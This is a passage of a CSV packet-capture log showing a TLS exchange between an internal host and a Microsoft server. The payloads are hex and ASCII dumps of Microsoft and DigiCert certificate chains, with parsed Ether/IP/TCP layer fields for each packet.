84ce6c8b2e382524ac4cf599f0000019ccad73d62000004030046304402202698638e91ee1dbea8586c5217a7ead63776394850e131fc3472ae16c3b07b02022013e71c1e18cadeaaf40fb6bcd78420aaf1e0004625aad5525088368c72ab4e7100760044c2bd0ce9140e64a5c94a01930a5aa1bb35970e00ee111689682a1c44d7b5660000019ccad73c9a000004030047304502203257bad935c1df986ebc85032551802d79f64f6a6fa9f0ec5d92673d60ee97ee022100970e8cebe1ec70c0e05931985d04b777ac758aa856ca79d8bb8d992ba25fc9d1301b06092b060104018237150a040e300c300a06082b06010505070301303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d81b5dd50859ffd750201640201213082010b06082b060105050701010481fe3081fb306106082b060105050730028655687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274306706082b06010505073002865b687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370301d0603551d0e04160414461f5602bafadb223a440b77af608f81362549c6300e0603551d0f0101ff0404030205a0303a0603551d11043330318216706c616365732e636c6f75642e6d6963726f736f667482176f75746c6f6f6b2e636c6f75642e6d6963726f736f6674300c0603551d130101ff040230003081f10603551d1f0481e93081e63081e3a081e0a081dd866c687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c866d687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c30660603551d20045f305d3051060c2b0601040182374c837d01013041303f06082b060105050702011633687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f446f63732f5265706f7369746f72792e68746d3008060667810c010202301f0603551d23041830168014540cbcec18f77df103e284be34644467cf\"\"}}]\"\n2026-06-14 14:28:47.201227,89,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=2330690430 Ack=1256293775,bc2411360d0cbc24112907bb080045000b902a9a4000400664773461c9520a98980b01bbfa0c8aeb837e4ae1858f5018003fabd90000751f6530130603551d25040c300a06082b06010505070301300d06092a864886f70d01010c050003820201000b8233eaf48ac62dee66f91d7f48a957ca5b6d412250a456069217015644c86f70fb9f9ae036fac7747ac7012dba95edd6c66d5564fdd12f47eb3b458e96fad8538d06fce693def53d816cac1d3601dee05742355c51f4078d627f7b377d13679d43b8a4f4c437cccff470805732a3a1f64c291bf858b08977acb0be12a2978e14f920f7bdb00487c59ce8376acf1684faf32d4bd4d7b87ff369379f8651e5f44c238d5f001331fb01a3fd9d86fb29039037515862cabebd5b9aad5754d4637add547fb24136574594174dad714004b5e8a0211dcb39dc88de983d41ef2058ae557c918428e61c524669074034384927b909699c8a2fa6890ef813225a70a1e4cd50ad115decd7782e485fa2be0e7ef8e456c042bc0185da5fb76c0fd06bebb0d3b2a6e8c0a53498805a1633b351c7b1777b2fa9450972070f3e33392cc9f207a4a0a33c3258237ea4f5cdd07f4a21a82ac2e54372a0ef35d31eaeaae48e1e5f444afdc25dd40e2128bbee38d18a1db959cf53566019cb94dffbed27b156a0b72aa69d989c16362c955cba3c6568d58e41109697a28466395ba017b6a86d52aa456306fec524297cc9bc32838020522317072e66842207935d6ff9a74b27758d023a4d06844565547af323be12c096f1565665f1ba2da5416f336630318a57252082adf98074de885305f9a58256ed1a95f76efcd3ab7797fee7102ac556ea700007bc308207b8308205a0a0030201020213330000000b13e5667d4a9b558000000000000b300d06092a864886f70d01010c05003051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f74204732301e170d3235303830313230303235395a170d3239303630333230303235395a3057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f43535020303430820222300d06092a864886f70d01010105000382020f003082020a02820201009c3a24085a1892f29ed560cde2e6fb8047db44ae2bdd6d107021154529aad2c7dce6c442b1a08d52e04f5c395506364d17c1586634e285529fe2a4fec6dec2c23b86bfcaad872906eb1d491d5f81dbb7a4ac561ad61287fd5f4049e2a00c6a84c64e6fdf24b89a95745a597fade93c13157840ccecdaef88364a90deea630794c3836a1aae98e6f164805a296704e856f421a6c5468dc8dd02abbc06f06c477823bb38b0bbfb4d71b0df22c37f1a7ef99daa412ad1de68dd9574253866c91611c5593d2ab168b9933b66e83ce1fca7ff2c6b50e0c0b9c8717393b177bfedaa4d0e0a55db139c72e069ad814cda23f906cb3fed428a868c0dd20c1525d08668eb7856aa2e5c08b34d33804eee353c2fc37a7dc16672606890f4ebf608ec13d789925f5c52f4879578b136e1b342536e3a373707c873751ebb5d6e67c99a7ccb4af3c6cdf04ef586fb143519463d97867264dd4336efd4578200220ca33aedb3657065f982a5bab8d2eac0688a3537a040f5fe028966a830f89447625747b27b9b8cc795bceb9af6c68c4489db16e61efde789fc81353530ea2f7d896452b3461934e33b574f0a182031efc5fdb9b127f6975935fb0ac244d6d0b2ed554d1d57487512d7f29860169ec4069cd4ae7e2e65c753e422251830636a9057c594b4f7e54d4c0d54c71fa93d4d0a460962d0232251e38e374cc5f40140990582d3a2b0530203010001a38202813082027d300e0603551d0f0101ff040403020186301006092b06010401823715010403020100301d0603551d0e04160414540cbcec18f77df103e284be34644467cf751f6530130603551d20040c300a3008060667810c01020230130603551d25040c300a06082b06010505070301301906092b0601040182371402040c1e0a0053007500620043004130120603551d130101ff040830060101ff020100301f0603551d23041830168014de918648b7a1315931f14b5f07a9dc8879daa8763081ab0603551d1f0481a33081a030819da0819aa081978649687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c864a687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c3082011006082b06010505070101048201023081ff306306082b060105050730028657687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274306906082b06010505073002865d687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370300d06092a864886f70d01010c050003820201007c4871c2b6c045ab740fc63f49e2fc0fd675fdcd50d1e04bb3b3d1a8995ffe5d350d6c0bddd0ad6160188938e2f0b735d2b5213a0c0e5899387cd4d7dd024dd4dcf5ee90e37b6793a8acd41b50bbc54fe6d3f1b51ef0ff99bc2333b0c8a8a627d6d15bed6f14de4b071a0c50fd0edfbeeb4fb29810cb222ae61dd74ba7ae15d10136090b86434f4ee7c57e5ca36b832e493e9488998b52d3963f7198242f3782fa6c74f2bcdb0621bbb85067702415b60b228ff7b927e4037c8495b76604a99255c2bd11c7210a727f65c060a65049e9f62348203a8e9226a8178c98af14a73dce4cadc08e8c3c44f17ffb13f914d77b333d105e64e7273d0c4ce271d766ceaef74eb664ba542bb7fd03d798679837b20a6320e5b0fbd8a48d3a2e42229a22f42655833015c7a242b3bfd036c53652a773677a736e54acbce989d8a5eb1f6dac2750c4c8ebd41c54294dbbb6deabd7c7f11f1464ba7f473165ef797d14c4f019e48076e73b28009b446f2457f507dc8e5ab400589756b10bfa087571de1b53c8eebdf0ab224cbd6bba5d8a44593c246baabce97d8b5f4a4dd78c54b0ab769b80284d457465106021f98e795fda92fb178400dbc4ae8259813c27779e56f707c8bdbe3d91c5978ae69c0f591658486c7da41632ed16c92da796f5e4fdc5cf65a4ddd700e8c90ef49db2a40280cc1bf028ebb03177349ec3ccd7c89b36bbc525e200058d3082058930820471a00302010202100b0c6b2c466917b04773c647d4afc0c8300d06092a864886f70d01010c05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3235303532313030303030305a170d3239303631393233353935395a3051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f7420473230820222300d06092a864886f70d01010105000382020f003082020a0282020100dfea8b9f47e1281071af41d619db9257de6babe62edead3a6083b71398ac5bb9320b7beb9f72276b5d40abbe180693b20dd212edb874f57f2feaa81794f63316578ade207c21ddb7daacde4e64b05acd4b75f3ef02,\"u.e0...U.%..0\n..+.......0\n.\t*.H..\n............3....-.f...H.W.[mA\"\"P.V....VD.op....6..tz..-.....mUd../G.;E....S.......=.l..6...WB5\\Q...b.{7}.g.C....7...p.W2...L)..X..w......... ........7j.....-K.....i7..Q..L#._..1.......)..7QXb...[..WT.cz.T..A6WE..M.q@....!..9....=A. X.U|..(..RFi.@48I'.\ti../.....\"\"Zp...P..]..x.H_...~..V.B...._.l..k........4..Z.3.Q..w{/.E\tr..>39,......<2X#~.....J!.*..Cr..5......._DJ..]..!(..8....Y.SV`......'.V..*.....6,.\\.<eh..A.....f9[....mR.Ec...$)|..2.. R#...f.\"\"..]o..K'u..:M..EeTz.#.....VVe..-.Ao3f01.W% ....t..S....V....n...w....*.V.p...0...0..........3......f}J.U.......0\n.\t*.H..\n.....0Q1.0\t..U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20..\n250801200259Z.\n290603200259Z0W1.0\t..U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\"\"0\n.\t*.H..\n..........0..\n......:$.Z.....`.....G.D.+.m.p!.E)......B...R.O\\9U.6M..Xf4..R........;.....)...I._.....V....._@I...j..No.$...tZY...<..x@.....6J...c....j.....d.Z)g..V.!..F........lGx#.8...Mq..\"\"...~...A*..h..t%8f....Y=*.h..;f.<....,kP....qs..w...M.\nU...r.i..L.#...?.B...\n...%..h.xV..\\..M3.N.5</.z}.fr`h.........._\\R...x.6..BSn:77..su..]ng..|.J....N....5.F=..rd.C6..W..\"\"..:..epe........h.57.@....f.0..GbWG.{..........D..........550./}.dR.F.4.;WO\n. 1.....'..Y5.\n.D....UM.WHu....`.......~.e.S.\"\"%.0cj.W.....ML\nT...=M\nF\tb.#\"\"Q..7L...@......S.........0..}0...U...........0..\t+.....7.......0...U......T.....}.....4dDg.u.e0...U. ..0\n0...g.....0...U.%..0\n..+.......0..\t+.....7.....\n.S.u.b.C.A0...U.......0.......0...U.#..0......H..1Y1.K_....y..v0....U.....0..0.........Ihttp://www.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl.Jhttp://crl2.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl0.....+...........0..0c..+.....0..Whttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0i..+.....0..]http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0\n.\t*.H..\n..........|Hq...E.t..?I....u..P..K....._.]5\nl....a`..8...5..!:..X.8|....M......{g.....P..O.........#3....'..[.o..K...P.....O....\"\"*...K.....6\t..CON..~\\.k..I>....R..?q.$/7..lt....!..Pgp$...\"\"...'..|...f...U....!\nr.e.`.PI..#H :..&.......=.L....<D.......{3=.^d.'=.L.q.f...N.d.T+.....g.7.\nc ......:.B\"\".\"\".&U.0...B...6.6R.sgzsnT........m.'P.....T)M.........d..G1e.y}......v.;(..Do$W....Z..X.V....uq..S.....\"\"L.k.].DY<$k...}._JM..T..v..(MEte.`!..y_..........Y.<'w.V.....=.......Y.XHl}..2...-.......e................(..1w4......6..%....0...0..q.........k,Fi..Gs.G....0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n250521000000Z.\n290619235959Z0Q1.0\t..U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20..\"\"0\n.\t*.H..\n..........0..\n.........G.(.q.A....W.k.....:`.....[.2.{..r'k]@......\n....t../.....3.W.. |!.....Nd.Z.Ku...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 2960, \"\"id\"\": 10906, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25719, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330690430, \"\"ack\"\": 1256293775, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 43993, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"751f6530130603551d25040c300a06082b06010505070301300d06092a864886f70d01010c050003820201000b8233eaf48ac62dee66f91d7f48a957ca5b6d412250a456069217015644c86f70fb9f9ae036fac7747ac7012dba95edd6c66d5564fdd12f47eb3b458e96fad8538d06fce693def53d816cac1d3601dee05742355c51f4078d627f7b377d13679d43b8a4f4c437cccff470805732a3a1f64c291bf858b08977acb0be12a2978e14f920f7bdb00487c59ce8376acf1684faf32d4bd4d7b87ff369379f8651e5f44c238d5f001331fb01a3fd9d86fb29039037515862cabebd5b9aad5754d4637add547fb24136574594174dad714004b5e8a0211dcb39dc88de983d41ef2058ae557c918428e61c524669074034384927b909699c8a2fa6890ef813225a70a1e4cd50ad115decd7782e485fa2be0e7ef8e456c042bc0185da5fb76c0fd06bebb0d3b2a6e8c0a53498805a1633b351c7b1777b2fa9450972070f3e33392cc9f207a4a0a33c3258237ea4f5cdd07f4a21a82ac2e54372a0ef35d31eaeaae48e1e5f444afdc25dd40e2128bbee38d18a1db959cf53566019cb94dffbed27b156a0b72aa69d989c16362c955cba3c6568d58e41109697a28466395ba017b6a86d52aa456306fec524297cc9bc32838020522317072e66842207935d6ff9a74b27758d023a4d06844565547af323be12c096f1565665f1ba2da5416f336630318a57252082adf98074de885305f9a58256ed1a95f76efcd3ab7797fee7102ac556ea700007bc308207b8308205a0a0030201020213330000000b13e5667d4a9b558000000000000b300d06092a864886f70d01010c05003051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f74204732301e170d3235303830313230303235395a170d3239303630333230303235395a3057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f43535020303430820222300d06092a864886f70d01010105000382020f003082020a02820201009c3a24085a1892f29ed560cde2e6fb8047db44ae2bdd6d107021154529aad2c7dce6c442b1a08d52e04f5c395506364d17c1586634e285529fe2a4fec6dec2c23b86bfcaad872906eb1d491d5f81dbb7a4ac561ad61287fd5f4049e2a00c6a84c64e6fdf24b89a95745a597fade93c13157840ccecdaef88364a90deea630794c3836a1aae98e6f164805a296704e856f421a6c5468dc8dd02abbc06f06c477823bb38b0bbfb4d71b0df22c37f1a7ef99daa412ad1de68dd9574253866c91611c5593d2ab168b9933b66e83ce1fca7ff2c6b50e0c0b9c8717393b177bfedaa4d0e0a55db139c72e069ad814cda23f906cb3fed428a868c0dd20c1525d08668eb7856aa2e5c08b34d33804eee353c2fc37a7dc16672606890f4ebf608ec13d789925f5c52f4879578b136e1b342536e3a373707c873751ebb5d6e67c99a7ccb4af3c6cdf04ef586fb143519463d97867264dd4336efd4578200220ca33aedb3657065f982a5bab8d2eac0688a3537a040f5fe028966a830f89447625747b27b9b8cc795bceb9af6c68c4489db16e61efde789fc81353530ea2f7d896452b3461934e33b574f0a182031efc5fdb9b127f6975935fb0ac244d6d0b2ed554d1d57487512d7f29860169ec4069cd4ae7e2e65c753e422251830636a9057c594b4f7e54d4c0d54c71fa93d4d0a460962d0232251e38e374cc5f40140990582d3a2b0530203010001a38202813082027d300e0603551d0f0101ff040403020186301006092b06010401823715010403020100301d0603551d0e04160414540cbcec18f77df103e284be34644467cf751f6530130603551d20040c300a3008060667810c01020230130603551d25040c300a06082b06010505070301301906092b0601040182371402040c1e0a0053007500620043004130120603551d130101ff040830060101ff020100301f0603551d23041830168014de918648b7a1315931f14b5f07a9dc8879daa8763081ab0603551d1f0481a33081a030819da0819aa081978649687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c864a687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c3082011006082b06010505070101048201023081ff306306082b060105050730028657687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274306906082b06010505073002865d687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370300d06092a864886f70d01010c050003820201007c4871c2b6c045ab740fc63f49e2fc0fd675fdcd50d1e04bb3b3d1a8995ffe5d350d6c0bddd0ad6160188938e2f0b735d2b5213a0c0e5899387cd4d7dd024dd4dcf5ee90e37b6793a8acd41b50bbc54fe6d3f1b51ef0ff99bc2333b0c8a8a627d6d15bed6f14de4b071a0c50fd0edfbeeb4fb29810cb222ae61dd74ba7ae15d10136090b86434f4ee7c57e5ca36b832e493e9488998b52d3963f7198242f3782fa6c74f2bcdb0621bbb85067702415b60b228ff7b927e4037c8495b76604a99255c2bd11c7210a727f65c060a65049e9f62348203a8e9226a8178c98af14a73dce4cadc08e8c3c44f17ffb13f914d77b333d105e64e7273d0c4ce271d766ceaef74eb664ba542bb7fd03d798679837b20a6320e5b0fbd8a48d3a2e42229a22f42655833015c7a242b3bfd036c53652a773677a736e54acbce989d8a5eb1f6dac2750c4c8ebd41c54294dbbb6deabd7c7f11f1464ba7f473165ef797d14c4f019e48076e73b28009b446f2457f507dc8e5ab400589756b10bfa087571de1b53c8eebdf0ab224cbd6bba5d8a44593c246baabce97d8b5f4a4dd78c54b0ab769b80284d457465106021f98e795fda92fb178400dbc4ae8259813c27779e56f707c8bdbe3d91c5978ae69c0f591658486c7da41632ed16c92da796f5e4fdc5cf65a4ddd700e8c90ef49db2a40280cc1bf028ebb03177349ec3ccd7c89b36bbc525e200058d3082058930820471a00302010202100b0c6b2c466917b04773c647d4afc0c8300d06092a864886f70d01010c05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3235303532313030303030305a170d3239303631393233353935395a3051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f7420473230820222300d06092a864886f70d01010105000382020f003082020a0282020100dfea8b9f47e1281071af41d619db9257de6babe62edead3a6083b71398ac5bb9320b7beb9f72276b5d40abbe180693b20dd212edb874f57f2feaa81794f63316578ade207c21ddb7daacde4e64b05acd4b75f3ef02\"\"}}]\"\n2026-06-14 14:28:47.201236,90,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,A,,,Ether > IP > TCP,3,TCP A Seq=1256293775 Ack=2330690430,bc24112907bbbc2411360d0c080045000028ef4a400080066b2e0a98980b3461c952fa0c01bb4ae1858f8aeb837e5010040030db0000,\".$.)...$.6\n...E..(.J@...k.\n...4a.R....J......~P...0...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61258, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27438, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256293775, \"\"ack\"\": 2330690430, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 12507, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:47.201239,91,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=2330693350 Ack=1256293775,bc2411360d0cbc24112907bb0800450004002a9c400040066c053461c9520a98980b01bbfa0c8aeb8ee64ae1858f5018003fa4490000644ded52daa38f04e891f8d7fb3f19fd4e45395ee829c3d6f267afb30094c18de1f04a189839fac009843341050305abf475e153a521925c444ce66057a4900297c7d5d89304324aed8551edd6c5baa03f368a2f6f4c39a8046922843b7514f7d93eb4a9d0074138817e46481de819e670b8a0aa18dd72bf7e7db56c4e19701184041381d462fd9c6bf11cddffeca7e0e6c78d314bbff26b33ccd18cb6feb11ba34aa85f0e7f3176383f07476c01a8aca514da82b05f1f6cbc891ac0122acb7b971f282e31168a534c7566f97d01d6c260aa658f319e72cbcc9b2de544199357ab6e8ec2d92e65b0722de7a1c3a17e491d5967d609d418126dc0954578c9f1606ae4f6ee06243b734a5a11c23e9761c078eeef13a730e24a382dee58171320b7362adf0b32b4c238b191dd12b045b67cc0b11d62a19ddd71121596019d0a09f5b1ddb3d9e0384234f669b6c3af1673fed443f843e458f94fb3f3ecd63d943a403815ab0c86d064ce1a63e8849455095ab604b6d13e9a15c7641180d01b820e4dff459eb26507251fdb9ac8c6ecd65b8550049f1ccb5d2082679e79e2dfe8f2e86fc420723086e59d7527350203010001a382014b30820147300f0603551d130101ff040530030101ff301d0603551d0e04160414de918648b7a1315931f14b5f07a9dc8879daa876301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070301307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c30130603551d20040c300a3008060667810c010202300d06092a864886f70d01010c050003820101000bbcb42b3774c54ba7360236c6afe113cc8a9a971bfce3448cee5400e5e4411a46f00b7634ff99556235aaad8a9c0c5a62cc43c0cbea4a1dbd6b1dafb11925669cf7796e5b2580248185c7792d355f420978ed9fe265d5c4205082108f6a3aed188e4889aba609f8e180fc06751627255a8fb83a706c1847f063f4530ed9153520f3913d1301a0e2fa2408455677d167a93142d057ff1a26bec543d857a963ffaff33ad8f67b4b10a297a1cf66be676709f9b54ce7ab192bbf223d7ddec6f7ef63382cdd56,\"dM.R.........?..NE9^.)...g........J..9..\t.3A.....u.S.!.\\DL.`W.........2J..Q.....?6./oL9..i\"\".;u...>....A8.~FH....p.....r.~}.lN.p......b..k..........1K..k3........J._..1v8?.Gl........_.l.....*.{..(.1..SLuf.}...`.e.1.r...-.D..W.n....e.r-....~I.Yg.\t...m..Ex..`j....$;sJZ..>.a.x....0.J8-.X.. .6*..2..8.....E.|...b...q.....\n\t......8B4.i....s..C.C.X.O....=.:@8.....d..c...U\tZ....>...d......M.E..e.%.......[.P....] .g.y.....o. r0...u'5........K0..G0...U.......0....0...U.........H..1Y1.K_....y..v0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0\n..+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0...U. ..0\n0...g.....0\n.\t*.H..\n.............+7t.K.6.6...........D..T...A.F..v4..Ub5.....Zb.C...J..k....%f..yn[%.$...y-5_B\tx...e.. P...j:...H...\t.....u.'%Z..:pl.G.c.S...5 ..=.....$.EVw.g.1B.W..&..C.W.c...:..{K.....f.gg\t..L...+.\"\"=}....c8,.V\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1024, \"\"id\"\": 10908, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 27653, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330693350, \"\"ack\"\": 1256293775, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 42057, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"644ded52daa38f04e891f8d7fb3f19fd4e45395ee829c3d6f267afb30094c18de1f04a189839fac009843341050305abf475e153a521925c444ce66057a4900297c7d5d89304324aed8551edd6c5baa03f368a2f6f4c39a8046922843b7514f7d93eb4a9d0074138817e46481de819e670b8a0aa18dd72bf7e7db56c4e19701184041381d462fd9c6bf11cddffeca7e0e6c78d314bbff26b33ccd18cb6feb11ba34aa85f0e7f3176383f07476c01a8aca514da82b05f1f6cbc891ac0122acb7b971f282e31168a534c7566f97d01d6c260aa658f319e72cbcc9b2de544199357ab6e8ec2d92e65b0722de7a1c3a17e491d5967d609d418126dc0954578c9f1606ae4f6ee06243b734a5a11c23e9761c078eeef13a730e24a382dee58171320b7362adf0b32b4c238b191dd12b045b67cc0b11d62a19ddd71121596019d0a09f5b1ddb3d9e0384234f669b6c3af1673fed443f843e458f94fb3f3ecd63d943a403815ab0c86d064ce1a63e8849455095ab604b6d13e9a15c7641180d01b820e4dff459eb26507251fdb9ac8c6ecd65b8550049f1ccb5d2082679e79e2dfe8f2e86fc420723086e59d7527350203010001a382014b30820147300f0603551d130101ff040530030101ff301d0603551d0e04160414de918648b7a1315931f14b5f07a9dc8879daa876301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070301307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c30130603551d20040c300a3008060667810c010202300d06092a864886f70d01010c050003820101000bbcb42b3774c54ba7360236c6afe113cc8a9a971bfce3448cee5400e5e4411a46f00b7634ff99556235aaad8a9c0c5a62cc43c0cbea4a1dbd6b1dafb11925669cf7796e5b2580248185c7792d355f420978ed9fe265d5c4205082108f6a3aed188e4889aba609f8e180fc06751627255a8fb83a706c1847f063f4530ed9153520f3913d1301a0e2fa2408455677d167a93142d057ff1a26bec543d857a963ffaff33ad8f67b4b10a297a1cf66be676709f9b54ce7ab192bbf223d7ddec6f7ef63382c